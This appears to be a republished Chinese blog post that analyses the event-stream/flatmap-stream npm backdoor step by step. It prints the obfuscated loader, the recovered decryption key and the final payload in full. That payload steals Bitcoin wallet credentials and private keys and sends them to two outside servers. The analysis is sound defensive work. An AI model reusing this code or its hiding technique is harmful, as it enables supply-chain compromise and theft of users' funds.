内容简介:下载漏洞样本
漏洞介绍
环境搭建
下载漏洞样本
漏洞分析
先看下git commit记录, event-stream#commite316336
可以看到@right9ctrl增加了 flatmap-stream
包的引用。
flatmap-stream
包查看源码,可看到如下目录结构。
这里有一点很鸡贼,在 node.js
中,一般默认文件为 index.js
,然而后门作者在 package.json
中设置真正的入口文件是 index.min.js
, index.min.js
是压缩代码,难理解,不易察觉。
从命名上不难理解, index.min.js
是 index.js
的压缩版,内容本应一样。然而在 index.min.js
最后发现比 index.js
多出的一行代码:
我们大致展开这行代码得到下面代码。
!(function() { try { var r = require, t = process; function e(r) { return Buffer.from(r, "hex").toString(); } var n = r(e("2e2f746573742f64617461")), o = t[e(n[3])][e(n[4])]; if (!o) return; var u = r(e(n[2]))[e(n[6])](e(n[5]), o), a = u.update(n[0], e(n[8]), e(n[9])); a += u.final(e(n[9])); var f = new module.constructor(); (f.paths = module.paths), f[e(n[7])](a, ""), f.exports(n[1]); } catch (r) {} })();
这里就看到了后门作者第二个鸡贼点了,找到代码依然看不懂啥意思。由于例子特殊,这次漏洞分析就不试用断点调试了,我去用这段代码加上一些注释和输出去剖析它到底干了啥。
先把前面两段翻译一下
// 编码函数,下面频繁调用编码函数去解字符串拼接 function e(r) { return Buffer.from(r, "hex").toString(); } var n = require(e("2e2f746573742f64617461")), o = process[e(n[3])][e(n[4])]; console.log(`require(${e("2e2f746573742f64617461")})`,`process[${e(n[3])}][${e(n[4])}]`) // require(./test/data) process[env][npm_package_description]
输出如下:
require(./test/data) process[env][npm_package_description]
由此输出我们得知,后门作者在这里引用了包内的 ./test/data
这个目录,并且用到了一个环境变量是在node项目 package.json
中的描述字段,此字段会在node程序运行时生成环境变量 npm_package_description
。回头看这个目录中的内容,是一坨加密的数组。
后面的程序内容都是通过这串数组去执行的。继续分析后面的代码。
到后面发现无论我怎样log都不输出了,说明后面的代码根本没有走,于是我在代码分支之前把后面的代码按照上面的方式先翻译过来。
console.log(`var u = require(${e(n[2])})[${e(n[6])}](${e(n[5])}`) console.log(`a = u.update(${n[0]})[${e(n[8])}](${e(n[9])}`) console.log(`a += u.final(${e(n[9])})`) console.log(`var f = new module.constructor();`) console.log(`(f.paths = module.paths), f[${e(n[7])}](a, ""), f.exports(${n[1]})`) if (!o) return; var u = require(e(n[2]))[e(n[6])](e(n[5]), o), a = u.update(n[0], e(n[8]), e(n[9])); a += u.final(e(n[9])); var f = new module.constructor(); (f.paths = module.paths), f[e(n[7])](a, ""), f.exports(n[1]);
输出如下:
这样就好理解多了,下面有一个解密操作,解密的密钥是 o
,刚才提到了,o是环境变量 npm_package_description
,因此后门作者是打算有针对性的去利用这个后门。只有密钥(npm_package_description)正确才能继续运行下面的密码。
在Github上 I don't know what to say 这个讨论中,最终有大神下载了所有的npm包描述,穷举了密钥。密钥为 A Secure Bitcoin Wallet
。
我们直接把 o
设置为正确密钥 去解密加密字符串。
!(function() { try { // 编码函数,下面频繁调用编码函数去解字符串拼接 function e(r) { return Buffer.from(r, "hex").toString(); } var n = require(e("2e2f746573742f64617461")), o = process[e(n[3])][e(n[4])]; o='A Secure Bitcoin Wallet'; if (!o) return; var u = require(e(n[2]))[e(n[6])](e(n[5]), o), a = u.update(n[0], e(n[8]), e(n[9])); a += u.final(e(n[9])); console.log(`解密字符串为:${a}`) var f = new module.constructor(); (f.paths = module.paths), f[e(n[7])](a, ""), f.exports(n[1]); } catch (r) {} })();
输出下面内容:
又发现了一段代码。但是这段代码此时还是字符串,为了让其生效,后门作者new了一个module构造器,然后编译其中的代码使其成为可执行的 function
。
var f = new module.constructor(); (f.paths = module.paths), f[e(n[7])](a, ""), f.exports(n[1]); console.log(`f.exports的类型是:${typeof f.exports}`)
后门作者第三个鸡贼点,再来一次解密。不过思路一模一样了。继续格式化拿到的新代码:
/*@@*/ module.exports = function(e) { try { if (!/build\:.*\-release/.test(process.argv[2])) return;// 用户使用build或者release等参数时执行下面代码 var t = process.env.npm_package_description,// 密钥,还是 A Secure Bitcoin Wallet r = require("fs"), i = "./node_modules/@zxing/library/esm5/core/common/reedsolomon/ReedSolomonDecoder.js", n = r.statSync(i), c = r.readFileSync(i, "utf8"), o = require("crypto").createDecipher("aes256", t),// 解密出新的代码 s = o.update(e, "hex", "utf8"); s = "\n" + (s += o.final("utf8")); var a = c.indexOf("\n/*@@*/"); 0 <= a && (c = c.substr(0, a)), r.writeFileSync(i, c + s, "utf8"), r.utimesSync(i, n.atime, n.mtime), process.on("exit", function() { try { r.writeFileSync(i, c, "utf8"), r.utimesSync(i, n.atime, n.mtime)// 将恶意代码写入到./node_modules/@zxing/library/esm5/core/common/reedsolomon/ReedSolomonDecoder.js中 } catch (e) {} }) } catch (e) {} };
发现这次代码好像没有那么晦涩难懂了。
在开发者执行 build
、 release
等命令时,将恶意代码写入 cordova
(一个跨平台应用开发框架)库中的一个文件,然后直接将恶意代码带入打包的应用程序中并带到最终的用户终端。
下面解开最后的一段代码:
e = 'db67fdbfc39c249c6f3381...'; t = 'A Secure Bitcoin Wallet'; r = require("fs"), i = "./node_modules/@zxing/library/esm5/core/common/reedsolomon/ReedSolomonDecoder.js", n = r.statSync(i), c = r.readFileSync(i, "utf8"), o = require("crypto").createDecipher("aes256", t),// 解密出新的代码 s = o.update(e, "hex", "utf8"); s = "\n" + (s += o.final("utf8")); console.log(`解密后字符串为${s}`); var a = c.indexOf("\n/*@@*/"); 0 <= a && (c = c.substr(0, a)), r.writeFileSync(i, c + s, "utf8"), r.utimesSync(i, n.atime, n.mtime), process.on("exit", function() { try { r.writeFileSync(i, c, "utf8"), r.utimesSync(i, n.atime, n.mtime)// 将恶意代码写入到./node_modules/@zxing/library/esm5/core/common/reedsolomon/ReedSolomonDecoder.js中 } catch (e) {} })
输出结果:
格式化最后一段代码,终于发现了后门作者的意图:
/*@@*/ ! function() { function e() { try { var o = require("http"), a = require("crypto"), c = "-----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAxoV1GvDc2FUsJnrAqR4C\\nDXUs/peqJu00casTfH442yVFkMwV59egxxpTPQ1YJxnQEIhiGte6KrzDYCrdeBfj\\nBOEFEze8aeGn9FOxUeXYWNeiASyS6Q77NSQVk1LW+/BiGud7b77Fwfq372fUuEIk\\n2P/pUHRoXkBymLWF1nf0L7RIE7ZLhoEBi2dEIP05qGf6BJLHPNbPZkG4grTDv762\\nPDBMwQsCKQcpKDXw/6c8gl5e2XM7wXhVhI2ppfoj36oCqpQrkuFIOL2SAaIewDZz\\nLlapGCf2c2QdrQiRkY8LiUYKdsV2XsfHPb327Pv3Q246yULww00uOMl/cJ/x76To\\n2wIDAQAB\\n-----END PUBLIC KEY-----"; // 发送http请求,参数为:主机地址,路径,数据 function i(e, t, n) { e = Buffer.from(e, "hex").toString(); var r = o.request({ hostname: e, port: 8080, method: "POST", path: "/" + t, headers: { "Content-Length": n.length, "Content-Type": "text/html" } }, function() {}); r.on("error", function(e) {}), r.write(n), r.end() } // 加密数据并发送到两台不同的服务器 function r(e, t) { for (var n = "", r = 0; r < t.length; r += 200) { var o = t.substr(r, 200); n += a.publicEncrypt(c, Buffer.from(o, "utf8")).toString("hex") + "+" } i("636f7061796170692e686f7374", e, n), i("3131312e39302e3135312e313334", e, n) } // 获取文件 function l(t, n) { if (window.cordova) try { var e = cordova.file.dataDirectory; resolveLocalFileSystemURL(e, function(e) { e.getFile(t, { create: !1 }, function(e) { e.file(function(e) { var t = new FileReader; t.onloadend = function() { return n(JSON.parse(t.result)) }, t.onerror = function(e) { t.abort() }, t.readAsText(e) }) }) }) } catch (e) {} else { try { var r = localStorage.getItem(t); if (r) return n(JSON.parse(r)) } catch (e) {} try { chrome.storage.local.get(t, function(e) { if (e) return n(JSON.parse(e[t])) }) } catch (e) {} } } // 获取用户账号的详细信息并发送 global.CSSMap = {}, l("profile", function(e) { for (var t in e.credentials) { var n = e.credentials[t]; "livenet" == n.network && l("balanceCache-" + n.walletId, function(e) { var t = this; t.balance = parseFloat(e.balance.split(" ")[0]), "btc" == t.coin && t.balance < 100 || "bch" == t.coin && t.balance < 1e3 || (global.CSSMap[t.xPubKey] = !0, r("c", JSON.stringify(t))) }.bind(n)) } }); // 重写bitcore-wallet-client/lib/credentials.js中的getKeysFunc函数,发送用户虚拟钱包私钥 var e = require("bitcore-wallet-client/lib/credentials.js"); e.prototype.getKeysFunc = e.prototype.getKeys, e.prototype.getKeys = function(e) { var t = this.getKeysFunc(e); try { global.CSSMap && global.CSSMap[this.xPubKey] && (delete global.CSSMap[this.xPubKey], r("p", e + "\\t" + this.xPubKey)) } catch (e) {} return t } } catch (e) {} } window.cordova ? document.addEventListener("deviceready", e) : e() }();
以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网
猜你喜欢:- Python安装软件包出错
- DebianLinux软件包管理工具-7个
- 如何在 Debian 中锁定软件包版本
- Windows 软件包管理器 1.0 正式发布
- npm包对应的rpm软件包制作
- sysget 2.2 发布,通用软件包管理器
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
操作系统基础教程
戴维斯 / 第1版 (2006年7月1日) / 2006-7 / 34.0
这是一本关于操作系统基本原理的教科书,其最大特点就是从操作系统的分层概念出发,深入浅出地介绍了操作系统的基本概念和基本框架。本书可以作为高等院校非计算机专业相关课程的教材或参考书,也适合具有高中以上数学基础的计算机用户自学,还可以作为社会上计算机培训机构的教材。对所有想了解计算机操作系统,但又不需要或不打算深入学习其理论和实现细节的读者来说,本书是一本极具价值的入门指导书。一起来看看 《操作系统基础教程》 这本书的介绍吧!